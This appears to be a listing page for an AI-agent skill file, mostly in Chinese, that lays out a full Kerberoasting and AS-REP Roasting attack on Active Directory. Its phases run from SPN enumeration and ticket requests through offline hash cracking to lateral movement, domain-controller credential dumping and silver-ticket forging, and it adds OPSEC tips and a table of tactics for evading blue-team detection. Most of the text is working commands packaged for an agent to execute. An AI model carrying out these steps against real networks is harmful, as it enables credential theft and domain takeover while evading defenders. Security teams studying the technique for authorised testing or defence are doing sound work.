kerberoast-attack

$npx mdskill add wgpsec/AboutSecurity/kerberoast-attack

Crack domain service account hashes without elevation.

  • Extracts service account passwords from Kerberos tickets.
  • Uses impacket and Hashcat for offline cracking.
  • Selects RC4 or AES encryption modes based on target.
  • Outputs plaintext passwords to the agent context.

SKILL.md

.github/skills/kerberoast-attackView on GitHub ↗
---
name: kerberoast-attack
description: "Kerberoasting 与 AS-REP Roasting 完整攻击方法论。当拥有任意域用户凭据(Kerberoasting)或发现无需预认证的账户(AS-REP Roasting)时使用。覆盖 SPN 发现、票据请求、离线破解、AES vs RC4 策略选择"
metadata:
  tags: "kerberoast,asrep,kerberos,spn,tgs,hashcat,域攻击,票据,服务账户,离线破解"
  category: "lateral"
  mitre_attack: "T1558.003,T1558.004"
---

# Kerberoasting & AS-REP Roasting

> **核心价值**:以任意域用户权限获取高权限服务账户密码 → 无需提权即可达到域管级别

## ⛔ 深入参考

- Hashcat 破解模式与字典策略 → [references/hash-cracking.md](references/hash-cracking.md)
- 多 Hash 类型 GPU 基准与高级破解工程 → [references/hash-cracking-guide.md](references/hash-cracking-guide.md)
- 防御绕过与高级利用 → [references/advanced-kerberoast.md](references/advanced-kerberoast.md)

---

## Part A: Kerberoasting(需要任意域用户凭据)

### Phase 1: SPN 枚举

```bash
# impacket — 最推荐
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request

# netexec
netexec ldap DC_IP -u user -p pass --kerberoasting output.txt

# 纯 LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
  -b "DC=domain,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName memberOf

# PowerShell(已在域内机器)
setspn -T domain -Q */*
# 或
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

### Phase 2: 票据请求策略

```
加密类型选择:
├─ RC4 (etype 23) → hashcat mode 13100 → 破解速度快 ⭐
├─ AES256 (etype 18) → hashcat mode 19700 → 破解速度慢 10x
└─ AES128 (etype 17) → hashcat mode 19600 → 中等

策略:
├─ 默认 impacket 请求 RC4 → 最快破解
├─ 如果目标强制 AES → 只能接受慢速破解
├─ ⛔ 域控可能监控 RC4 TGS 请求 → OPSEC 风险!
└─ AES 请求更隐蔽(正常行为),但破解慢
```

**OPSEC 考虑:**
```
# 隐蔽方式:请求 AES 加密票据(看起来更正常)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile hashes.txt

# 超隐蔽:只请求特定高价值 SPN(不枚举全部)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
  -request -target-user svc_sql_admin

# ⛔ 避免:一次性请求所有 SPN 的票据 → 告警
```

### Phase 3: 离线破解

```bash
# Hashcat — GPU 破解
hashcat -m 13100 hashes.txt wordlist.txt           # RC4
hashcat -m 19700 hashes.txt wordlist.txt           # AES256
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule  # 规则

# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt

# 字典选择优先级
├─ 1. 目标相关字典(公司名+年份+特殊字符)
├─ 2. rockyou.txt + 规则
├─ 3. 泄露密码库
└─ 4. 组合攻击(公司名 + 常见模式)
```

### Phase 4: 高价值目标识别

```
并非所有 SPN 账户都值得破解,优先级:

高价值(优先破解):
├─ 账户是 Domain Admins / Enterprise Admins 成员
├─ 账户名含 "admin" / "svc" / "sql" / "backup"
├─ 账户有 AdminCount=1 属性
├─ 账户在 BloodHound 攻击路径上
└─ 账户密码策略宽松(无强制复杂度)

判断方法:
ldapsearch ... "(&(servicePrincipalName=*)(adminCount=1))" sAMAccountName
```

---

## Part B: AS-REP Roasting(无需凭据/需要用户列表)

### Phase 1: 发现无需预认证的用户

```bash
# 无需凭据 — 枚举无需预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt \
  -format hashcat -outputfile asrep_hashes.txt

# 有凭据 — 查询所有无需预认证的用户
impacket-GetNPUsers DOMAIN/user:pass -dc-ip DC_IP -request

# LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
  -b "DC=domain,DC=com" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

# netexec
netexec ldap DC_IP -u user -p pass --asreproast asrep.txt
```

### Phase 2: 破解 AS-REP 哈希

```bash
# hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/best64.rule

# john
john --format=krb5asrep asrep_hashes.txt --wordlist=wordlist.txt
```

---

## Part C: 后利用 — 破解成功后

```
拿到服务账户密码后:
├─ 使用凭据横向移动
│   netexec smb TARGETS -u svc_account -p 'cracked_pass'
├─ 如果是 DA/高权限
│   impacket-secretsdump DOMAIN/svc_admin:pass@DC_IP
├─ 申请 Silver Ticket(不经过 DC 验证)
│   impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN -spn ...
└─ 添加 SPN 到已控账户 → Targeted Kerberoasting
    setspn -a http/fake svc_account  # 让其他人可以对你 Kerberoast
```

## 检测与规避对照

| 蓝队检测 | 红队对策 |
|----------|---------|
| 大量 TGS 请求 (EventID 4769) | 只请求高价值目标,不全量枚举 |
| RC4 降级检测 | 请求 AES256 票据(破解慢但隐蔽) |
| 蜜罐 SPN 账户 | 对比 BloodHound 数据,排除异常 SPN |
| 异常时间请求 | 业务时间操作 |
| 特定账户大量票据 | 分散请求时间 |

## 工具速查

| 工具 | 用途 |
|------|------|
| impacket-GetUserSPNs | Kerberoasting 票据请求 |
| impacket-GetNPUsers | AS-REP Roasting |
| netexec | 集成枚举与攻击 |
| Rubeus | Windows 端 Kerberoasting(含 OPSEC 选项) |
| hashcat | GPU 离线破解 |
| BloodHound | 识别高价值 SPN 账户 |

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|